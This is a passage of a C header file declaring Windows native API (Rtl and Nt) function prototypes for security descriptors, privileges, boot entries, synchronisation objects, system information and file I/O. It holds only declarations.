SecurityDescriptor, BOOLEAN DaclPresent, PACL Dacl, BOOLEAN DaclDefaulted ); NTSTATUS NTAPI RtlGetDaclSecurityDescriptor ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, OUT PBOOLEAN DaclPresent, OUT PACL *Dacl, OUT PBOOLEAN DaclDefaulted ); BOOLEAN NTAPI RtlGetSecurityDescriptorRMControl( IN PSECURITY_DESCRIPTOR SecurityDescriptor, OUT PUCHAR RMControl ); VOID NTAPI RtlSetSecurityDescriptorRMControl( _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, IN PUCHAR RMControl OPTIONAL ); NTSTATUS NTAPI RtlSetSaclSecurityDescriptor ( PSECURITY_DESCRIPTOR SecurityDescriptor, BOOLEAN SaclPresent, PACL Sacl, BOOLEAN SaclDefaulted ); NTSTATUS NTAPI RtlGetSaclSecurityDescriptor ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, OUT PBOOLEAN SaclPresent, OUT PACL *Sacl, OUT PBOOLEAN SaclDefaulted ); NTSTATUS NTAPI RtlSetGroupSecurityDescriptor ( _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID Group OPTIONAL, IN BOOLEAN GroupDefaulted OPTIONAL ); NTSTATUS NTAPI RtlGetGroupSecurityDescriptor ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, OUT PSID *Group, OUT PBOOLEAN GroupDefaulted ); NTSTATUS NTAPI RtlMakeSelfRelativeSD ( IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI RtlAbsoluteToSelfRelativeSD ( IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI RtlSelfRelativeToAbsoluteSD ( IN PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, OUT OPTIONAL PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, _Inout_ PULONG AbsoluteSecurityDescriptorSize, OUT OPTIONAL PACL Dacl, _Inout_ PULONG DaclSize, OUT OPTIONAL PACL Sacl, _Inout_ PULONG SaclSize, OUT OPTIONAL PSID Owner, _Inout_ PULONG OwnerSize, OUT OPTIONAL PSID PrimaryGroup, _Inout_ PULONG PrimaryGroupSize ); NTSTATUS NTAPI RtlSelfRelativeToAbsoluteSD2 ( _Inout_ PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, _Inout_ PULONG pBufferSize ); NTSTATUS NTAPI RtlNewSecurityGrantedAccess ( ACCESS_MASK DesiredAccess, PPRIVILEGE_SET Privileges, PULONG Length, HANDLE Token, PGENERIC_MAPPING GenericMapping, PACCESS_MASK RemainingDesiredAccess ); NTSTATUS NTAPI RtlMapSecurityErrorToNtStatus ( SECURITY_STATUS Error ); NTSTATUS NTAPI RtlImpersonateSelf ( IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel ); NTSTATUS NTAPI RtlAdjustPrivilege ( ULONG Privilege, BOOLEAN Enable, BOOLEAN Client, PBOOLEAN WasEnabled ); NTSTATUS NTAPI RtlAcquirePrivilege ( PULONG Privilege, ULONG NumPriv, ULONG Flags, PVOID *ReturnedState ); VOID NTAPI RtlReleasePrivilege ( PVOID StatePointer ); VOID NTAPI RtlRunEncodeUnicodeString( PUCHAR Seed OPTIONAL, PUNICODE_STRING String ); VOID NTAPI RtlRunDecodeUnicodeString( UCHAR Seed, PUNICODE_STRING String ); VOID NTAPI RtlEraseUnicodeString( PUNICODE_STRING String ); NTSTATUS NTAPI RtlFindMessage( PVOID DllHandle, ULONG MessageTableId, ULONG MessageLanguageId, ULONG MessageId, PMESSAGE_RESOURCE_ENTRY *MessageEntry ); NTSTATUS NTAPI RtlFormatMessage( IN PWSTR MessageFormat, IN ULONG MaximumWidth, IN BOOLEAN IgnoreInserts, IN BOOLEAN ArgumentsAreAnsi, IN BOOLEAN ArgumentsAreAnArray, IN va_list *Arguments, OUT PWSTR Buffer, IN ULONG Length, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI RtlFormatMessageEx( IN PWSTR MessageFormat, IN ULONG MaximumWidth, IN BOOLEAN IgnoreInserts, IN BOOLEAN ArgumentsAreAnsi, IN BOOLEAN ArgumentsAreAnArray, IN va_list *Arguments, OUT PWSTR Buffer, IN ULONG Length, OUT OPTIONAL PULONG ReturnLength, OUT OPTIONAL PPARSE_MESSAGE_CONTEXT ParseContext ); NTSTATUS NTAPI RtlInitializeRXact( IN HANDLE RootRegistryKey, IN BOOLEAN CommitIfNecessary, OUT PRTL_RXACT_CONTEXT *RXactContext ); NTSTATUS NTAPI RtlStartRXact( IN PRTL_RXACT_CONTEXT RXactContext ); NTSTATUS NTAPI RtlAbortRXact( IN PRTL_RXACT_CONTEXT RXactContext ); NTSTATUS NTAPI RtlAddAttributeActionToRXact( IN PRTL_RXACT_CONTEXT RXactContext, IN RTL_RXACT_OPERATION Operation, IN PUNICODE_STRING SubKeyName, IN HANDLE KeyHandle, IN PUNICODE_STRING AttributeName, IN ULONG NewValueType, IN PVOID NewValue, IN ULONG NewValueLength ); NTSTATUS NTAPI RtlAddActionToRXact( IN PRTL_RXACT_CONTEXT RXactContext, IN RTL_RXACT_OPERATION Operation, IN PUNICODE_STRING SubKeyName, IN ULONG NewKeyValueType, IN PVOID NewKeyValue OPTIONAL, IN ULONG NewKeyValueLength ); NTSTATUS NTAPI RtlApplyRXact( IN PRTL_RXACT_CONTEXT RXactContext ); NTSTATUS NTAPI RtlApplyRXactNoFlush( IN PRTL_RXACT_CONTEXT RXactContext ); ULONG NTAPI RtlNtStatusToDosError ( NTSTATUS Status ); ULONG NTAPI RtlNtStatusToDosErrorNoTeb ( NTSTATUS Status ); PPEB RtlGetCurrentPeb ( VOID ); NTSTATUS NTAPI RtlCustomCPToUnicodeN( IN PCPTABLEINFO CustomCP, OUT PWCH UnicodeString, IN ULONG MaxBytesInUnicodeString, OUT OPTIONAL PULONG BytesInUnicodeString, IN PCH CustomCPString, IN ULONG BytesInCustomCPString ); NTSTATUS NTAPI RtlUnicodeToCustomCPN( IN PCPTABLEINFO CustomCP, OUT PCH CustomCPString, IN ULONG MaxBytesInCustomCPString, OUT OPTIONAL PULONG BytesInCustomCPString, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); NTSTATUS NTAPI RtlUpcaseUnicodeToCustomCPN( IN PCPTABLEINFO CustomCP, OUT PCH CustomCPString, IN ULONG MaxBytesInCustomCPString, OUT OPTIONAL PULONG BytesInCustomCPString, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); VOID NTAPI RtlInitCodePageTable( IN PUSHORT TableBase, OUT PCPTABLEINFO CodePageTable ); VOID NTAPI RtlInitNlsTables( IN PUSHORT AnsiNlsBase, IN PUSHORT OemNlsBase, IN PUSHORT LanguageNlsBase, OUT PNLSTABLEINFO TableInfo ); VOID NTAPI RtlResetRtlTranslations( PNLSTABLEINFO TableInfo ); VOID NTAPI RtlGetDefaultCodePage( OUT PUSHORT AnsiCodePage, OUT PUSHORT OemCodePage ); VOID NTAPI RtlInitializeRangeList( _Inout_ PRTL_RANGE_LIST RangeList ); VOID NTAPI RtlFreeRangeList( IN PRTL_RANGE_LIST RangeList ); NTSTATUS NTAPI RtlCopyRangeList( OUT PRTL_RANGE_LIST CopyRangeList, IN PRTL_RANGE_LIST RangeList ); NTSTATUS NTAPI RtlAddRange( _Inout_ PRTL_RANGE_LIST RangeList, IN ULONGLONG Start, IN ULONGLONG End, IN UCHAR Attributes, IN ULONG Flags, IN PVOID UserData, OPTIONAL IN PVOID Owner OPTIONAL ); NTSTATUS NTAPI RtlDeleteRange( _Inout_ PRTL_RANGE_LIST RangeList, IN ULONGLONG Start, IN ULONGLONG End, IN PVOID Owner ); NTSTATUS NTAPI RtlDeleteOwnersRanges( _Inout_ PRTL_RANGE_LIST RangeList, IN PVOID Owner ); NTSTATUS NTAPI RtlFindRange( IN PRTL_RANGE_LIST RangeList, IN ULONGLONG Minimum, IN ULONGLONG Maximum, IN ULONG Length, IN ULONG Alignment, IN ULONG Flags, IN UCHAR AttributeAvailableMask, IN PVOID Context OPTIONAL, IN PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL, OUT PULONGLONG Start ); NTSTATUS NTAPI RtlIsRangeAvailable( IN PRTL_RANGE_LIST RangeList, IN ULONGLONG Start, IN ULONGLONG End, IN ULONG Flags, IN UCHAR AttributeAvailableMask, IN PVOID Context OPTIONAL, IN PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL, OUT PBOOLEAN Available ); NTSTATUS NTAPI RtlGetFirstRange( IN PRTL_RANGE_LIST RangeList, OUT PRTL_RANGE_LIST_ITERATOR Iterator, OUT PRTL_RANGE *Range ); NTSTATUS NTAPI RtlGetLastRange( IN PRTL_RANGE_LIST RangeList, OUT PRTL_RANGE_LIST_ITERATOR Iterator, OUT PRTL_RANGE *Range ); NTSTATUS NTAPI RtlGetNextRange( _Inout_ PRTL_RANGE_LIST_ITERATOR Iterator, OUT PRTL_RANGE *Range, IN BOOLEAN MoveForwards ); NTSTATUS NTAPI RtlMergeRangeLists( OUT PRTL_RANGE_LIST MergedRangeList, IN PRTL_RANGE_LIST RangeList1, IN PRTL_RANGE_LIST RangeList2, IN ULONG Flags ); NTSTATUS NTAPI RtlInvertRangeList( OUT PRTL_RANGE_LIST InvertedRangeList, IN PRTL_RANGE_LIST RangeList ); NTSTATUS NTAPI RtlVolumeDeviceToDosName( IN PVOID VolumeDeviceObject, OUT PUNICODE_STRING DosName ); NTSTATUS NTAPI RtlCreateSystemVolumeInformationFolder( IN PUNICODE_STRING VolumeRootPath ); #if defined(_WINNT_) && (_MSC_VER < 1300) typedef POSVERSIONINFOW PRTL_OSVERSIONINFOW; typedef POSVERSIONINFOEXW PRTL_OSVERSIONINFOEXW; typedef LONG (NTAPI *PVECTORED_EXCEPTION_HANDLER)( struct _EXCEPTION_POINTERS *ExceptionInfo ); typedef VOID (NTAPI * APC_CALLBACK_FUNCTION) (DWORD , PVOID, PVOID); typedef const GUID *LPCGUID; #endif NTSTATUS NTAPI RtlGetVersion( OUT PRTL_OSVERSIONINFOW lpVersionInformation ); NTSTATUS RtlVerifyVersionInfo( IN PRTL_OSVERSIONINFOEXW VersionInfo, IN ULONG TypeMask, IN ULONGLONG ConditionMask ); BOOLEAN RtlFlushSecureMemoryCache( PVOID lpAddr, SIZE_T size ); LONG NTAPI RtlGetLastWin32Error( VOID ); VOID NTAPI RtlSetLastWin32ErrorAndNtStatusFromNtStatus( NTSTATUS Status ); VOID NTAPI RtlSetLastWin32Error( LONG Win32Error ); VOID NTAPI RtlRestoreLastWin32Error( LONG Win32Error ); NTSTATUS NTAPI RtlGetSetBootStatusData( IN HANDLE Handle, IN BOOLEAN Get, IN RTL_BSD_ITEM_TYPE DataItem, IN PVOID DataBuffer, IN ULONG DataBufferLength, OUT PULONG ByteRead OPTIONAL ); NTSTATUS NTAPI RtlLockBootStatusData( OUT PHANDLE BootStatusDataHandle ); VOID NTAPI RtlUnlockBootStatusData( IN HANDLE BootStatusDataHandle ); NTSTATUS NTAPI RtlCreateBootStatusDataFile( VOID ); // // // begin_ntapi NTSTATUS NTAPI NtDelayExecution( IN BOOLEAN Alertable, IN PLARGE_INTEGER DelayInterval ); NTSTATUS NTAPI NtQuerySystemEnvironmentValue ( IN PUNICODE_STRING VariableName, OUT PWSTR VariableValue, IN USHORT ValueLength, OUT OPTIONAL PUSHORT ReturnLength ); NTSTATUS NTAPI NtSetSystemEnvironmentValue ( IN PUNICODE_STRING VariableName, IN PUNICODE_STRING VariableValue ); NTSTATUS NTAPI NtQuerySystemEnvironmentValueEx ( IN PUNICODE_STRING VariableName, IN LPGUID VendorGuid, OUT OPTIONAL PVOID Value, _Inout_ PULONG ValueLength, OUT OPTIONAL PULONG Attributes ); NTSTATUS NTAPI NtSetSystemEnvironmentValueEx ( IN PUNICODE_STRING VariableName, IN LPGUID VendorGuid, _In_opt_ PVOID Value, IN ULONG ValueLength, IN ULONG Attributes ); NTSTATUS NTAPI NtEnumerateSystemEnvironmentValuesEx ( IN ULONG InformationClass, OUT PVOID Buffer, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI NtAddBootEntry ( IN PBOOT_ENTRY BootEntry, OUT OPTIONAL PULONG Id ); NTSTATUS NTAPI NtDeleteBootEntry ( IN ULONG Id ); NTSTATUS NTAPI NtModifyBootEntry ( IN PBOOT_ENTRY BootEntry ); NTSTATUS NTAPI NtEnumerateBootEntries ( OUT OPTIONAL PVOID Buffer, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI NtQueryBootEntryOrder ( OUT OPTIONAL PULONG Ids, _Inout_ PULONG Count ); NTSTATUS NTAPI NtSetBootEntryOrder ( IN PULONG Ids, IN ULONG Count ); NTSTATUS NTAPI NtQueryBootOptions ( OUT OPTIONAL PBOOT_OPTIONS BootOptions, _Inout_ PULONG BootOptionsLength ); NTSTATUS NTAPI NtSetBootOptions ( IN PBOOT_OPTIONS BootOptions, IN ULONG FieldsToChange ); NTSTATUS NTAPI NtTranslateFilePath ( IN PFILE_PATH InputFilePath, IN ULONG OutputType, OUT OPTIONAL PFILE_PATH OutputFilePath, _Inout_opt_ PULONG OutputFilePathLength ); NTSTATUS NTAPI NtAddDriverEntry ( IN PEFI_DRIVER_ENTRY DriverEntry, OUT OPTIONAL PULONG Id ); NTSTATUS NTAPI NtDeleteDriverEntry ( IN ULONG Id ); NTSTATUS NTAPI NtModifyDriverEntry ( IN PEFI_DRIVER_ENTRY DriverEntry ); NTSTATUS NTAPI NtEnumerateDriverEntries ( OUT PVOID Buffer, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI NtQueryDriverEntryOrder ( OUT PULONG Ids, _Inout_ PULONG Count ); NTSTATUS NTAPI NtSetDriverEntryOrder ( IN PULONG Ids, IN ULONG Count ); NTSTATUS NTAPI NtClearEvent ( IN HANDLE EventHandle ); NTSTATUS NTAPI NtCreateEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE EventType, IN BOOLEAN InitialState ); NTSTATUS NTAPI NtOpenEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtPulseEvent ( IN HANDLE EventHandle, OUT OPTIONAL PLONG PreviousState ); NTSTATUS NTAPI NtQueryEvent ( IN HANDLE EventHandle, IN EVENT_INFORMATION_CLASS EventInformationClass, OUT PVOID EventInformation, IN ULONG EventInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtResetEvent ( IN HANDLE EventHandle, OUT OPTIONAL PLONG PreviousState ); NTSTATUS NTAPI NtSetEvent ( IN HANDLE EventHandle, OUT OPTIONAL PLONG PreviousState ); NTSTATUS NTAPI NtSetEventBoostPriority ( IN HANDLE EventHandle ); NTSTATUS NTAPI NtCreateEventPair ( OUT PHANDLE EventPairHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtOpenEventPair ( OUT PHANDLE EventPairHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtWaitLowEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI NtWaitHighEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI NtSetLowWaitHighEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI NtSetHighWaitLowEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI NtSetLowEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI NtSetHighEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI NtCreateMutant ( OUT PHANDLE MutantHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN InitialOwner ); NTSTATUS NTAPI NtOpenMutant ( OUT PHANDLE MutantHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtQueryMutant ( IN HANDLE MutantHandle, IN MUTANT_INFORMATION_CLASS MutantInformationClass, OUT PVOID MutantInformation, IN ULONG MutantInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtReleaseMutant ( IN HANDLE MutantHandle, OUT OPTIONAL PLONG PreviousCount ); NTSTATUS NTAPI NtCreateSemaphore ( OUT PHANDLE SemaphoreHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN LONG InitialCount, IN LONG MaximumCount ); NTSTATUS NTAPI NtOpenSemaphore( OUT PHANDLE SemaphoreHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtQuerySemaphore ( IN HANDLE SemaphoreHandle, IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, OUT PVOID SemaphoreInformation, IN ULONG SemaphoreInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtReleaseSemaphore( IN HANDLE SemaphoreHandle, IN LONG ReleaseCount, OUT OPTIONAL PLONG PreviousCount ); NTSTATUS NTAPI NtCreateTimer ( OUT PHANDLE TimerHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN TIMER_TYPE TimerType ); NTSTATUS NTAPI NtOpenTimer ( OUT PHANDLE TimerHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtCancelTimer ( IN HANDLE TimerHandle, OUT OPTIONAL PBOOLEAN CurrentState ); NTSTATUS NTAPI NtQueryTimer ( IN HANDLE TimerHandle, IN TIMER_INFORMATION_CLASS TimerInformationClass, OUT PVOID TimerInformation, IN ULONG TimerInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtSetTimer ( IN HANDLE TimerHandle, IN PLARGE_INTEGER DueTime, _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, _In_opt_ PVOID TimerContext, IN BOOLEAN ResumeTimer, _In_opt_ LONG Period, OUT OPTIONAL PBOOLEAN PreviousState ); NTSTATUS NTAPI NtQuerySystemTime ( OUT PLARGE_INTEGER SystemTime ); NTSTATUS NTAPI NtSetSystemTime ( _In_opt_ PLARGE_INTEGER SystemTime, OUT OPTIONAL PLARGE_INTEGER PreviousTime ); NTSTATUS NTAPI NtQueryTimerResolution ( OUT PULONG MaximumTime, OUT PULONG MinimumTime, OUT PULONG CurrentTime ); NTSTATUS NTAPI NtSetTimerResolution ( IN ULONG DesiredTime, IN BOOLEAN SetResolution, OUT PULONG ActualTime ); NTSTATUS NTAPI NtAllocateLocallyUniqueId ( OUT PLUID Luid ); NTSTATUS NTAPI NtSetUuidSeed ( IN PCHAR Seed ); NTSTATUS NTAPI NtAllocateUuids ( OUT PULARGE_INTEGER Time, OUT PULONG Range, OUT PULONG Sequence, OUT PCHAR Seed ); NTSTATUS NTAPI NtCreateProfile ( OUT PHANDLE ProfileHandle, IN HANDLE Process OPTIONAL, IN PVOID ProfileBase, IN SIZE_T ProfileSize, IN ULONG BucketSize, IN PULONG Buffer, IN ULONG BufferSize, IN KPROFILE_SOURCE ProfileSource, IN KAFFINITY Affinity ); NTSTATUS NTAPI NtStartProfile ( IN HANDLE ProfileHandle ); NTSTATUS NTAPI NtStopProfile ( IN HANDLE ProfileHandle ); NTSTATUS NTAPI NtSetIntervalProfile ( IN ULONG Interval, IN KPROFILE_SOURCE Source ); NTSTATUS NTAPI NtQueryIntervalProfile ( IN KPROFILE_SOURCE ProfileSource, OUT PULONG Interval ); NTSTATUS NTAPI NtQueryPerformanceCounter ( OUT PLARGE_INTEGER PerformanceCounter, OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency ); NTSTATUS NTAPI NtCreateKeyedEvent ( OUT PHANDLE KeyedEventHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG Flags ); NTSTATUS NTAPI NtOpenKeyedEvent ( OUT PHANDLE KeyedEventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtReleaseKeyedEvent ( IN HANDLE KeyedEventHandle, IN PVOID KeyValue, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtWaitForKeyedEvent ( IN HANDLE KeyedEventHandle, IN PVOID KeyValue, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtQuerySystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT OPTIONAL PVOID SystemInformation, IN ULONG SystemInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtSetSystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, _In_opt_ PVOID SystemInformation, IN ULONG SystemInformationLength ); NTSTATUS NTAPI NtSystemDebugControl ( IN SYSDBG_COMMAND Command, _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtRaiseHardError ( IN NTSTATUS ErrorStatus, IN ULONG NumberOfParameters, IN ULONG UnicodeStringParameterMask, _In_opt_ PULONG_PTR Parameters, IN ULONG ValidResponseOptions, OUT PULONG Response ); NTSTATUS NTAPI NtQueryDefaultLocale ( IN BOOLEAN UserProfile, OUT PLCID DefaultLocaleId ); NTSTATUS NTAPI NtSetDefaultLocale ( IN BOOLEAN UserProfile, IN LCID DefaultLocaleId ); NTSTATUS NTAPI NtQueryInstallUILanguage ( OUT LANGID *InstallUILanguageId ); NTSTATUS NTAPI NtQueryDefaultUILanguage ( OUT LANGID *DefaultUILanguageId ); NTSTATUS NTAPI NtSetDefaultUILanguage ( IN LANGID DefaultUILanguageId ); NTSTATUS NTAPI NtSetDefaultHardErrorPort( IN HANDLE DefaultHardErrorPort ); NTSTATUS NTAPI NtShutdownSystem ( IN SHUTDOWN_ACTION Action ); NTSTATUS NTAPI NtDisplayString ( IN PUNICODE_STRING String ); NTSTATUS NTAPI NtAddAtom ( _In_opt_ PWSTR AtomName, IN ULONG Length, OUT OPTIONAL PRTL_ATOM Atom ); NTSTATUS NTAPI NtFindAtom ( _In_opt_ PWSTR AtomName, IN ULONG Length, OUT OPTIONAL PRTL_ATOM Atom ); NTSTATUS NTAPI NtDeleteAtom ( IN RTL_ATOM Atom ); NTSTATUS NTAPI NtQueryInformationAtom( IN RTL_ATOM Atom, IN ATOM_INFORMATION_CLASS AtomInformationClass, OUT OPTIONAL PVOID AtomInformation, IN ULONG AtomInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtCancelIoFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock ); NTSTATUS NTAPI NtCreateNamedPipeFile ( OUT PHANDLE FileHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, IN ULONG NamedPipeType, IN ULONG ReadMode, IN ULONG CompletionMode, IN ULONG MaximumInstances, IN ULONG InboundQuota, IN ULONG OutboundQuota, _In_opt_ PLARGE_INTEGER DefaultTimeout ); NTSTATUS NTAPI NtCreateMailslotFile ( OUT PHANDLE FileHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CreateOptions, IN ULONG MailslotQuota, IN ULONG MaximumMessageSize, IN PLARGE_INTEGER ReadTimeout ); NTSTATUS NTAPI NtDeleteFile ( IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtFlushBuffersFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock ); NTSTATUS NTAPI NtNotifyChangeDirectoryFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN ULONG CompletionFilter, IN BOOLEAN WatchTree ); NTSTATUS NTAPI NtQueryAttributesFile ( IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PFILE_BASIC_INFORMATION FileInformation ); NTSTATUS NTAPI NtQueryFullAttributesFile( IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation ); NTSTATUS NTAPI NtQueryEaFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN PVOID EaList, IN ULONG EaListLength, _In_opt_ PULONG EaIndex OPTIONAL, IN BOOLEAN RestartScan ); NTSTATUS NTAPI NtCreateFile ( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, _In_opt_ PLARGE_INTEGER AllocationSize, IN ULONG FileAttributes, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, _In_opt_ PVOID EaBuffer, IN ULONG EaLength ); NTSTATUS NTAPI NtDeviceIoControlFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSTATUS NTAPI NtFsControlFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG FsControlCode, _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSTATUS NTAPI NtLockFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER ByteOffset, IN PLARGE_INTEGER Length, IN ULONG Key, IN BOOLEAN FailImmediately, IN BOOLEAN ExclusiveLock ); NTSTATUS NTAPI NtOpenFile ( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions ); NTSTATUS NTAPI NtQueryDirectoryFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, _In_opt_ PUNICODE_STRING FileName, IN BOOLEAN RestartScan ); NTSTATUS NTAPI NtQueryInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); NTSTATUS NTAPI NtQueryQuotaInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, _In_opt_ PVOID SidList, IN ULONG SidListLength, _In_opt_ PSID StartSid, IN BOOLEAN RestartScan ); NTSTATUS NTAPI NtQueryVolumeInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FsInformation, IN ULONG Length, IN FS_INFORMATION_CLASS FsInformationClass ); NTSTATUS NTAPI NtReadFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, _In_opt_ PLARGE_INTEGER ByteOffset, _In_opt_ PULONG Key ); NTSTATUS NTAPI NtSetInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); NTSTATUS NTAPI NtSetQuotaInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length ); NTSTATUS NTAPI NtSetVolumeInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID FsInformation, IN ULONG Length, IN FS_INFORMATION_CLASS FsInformationClass ); NTSTATUS NTAPI NtWriteFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT 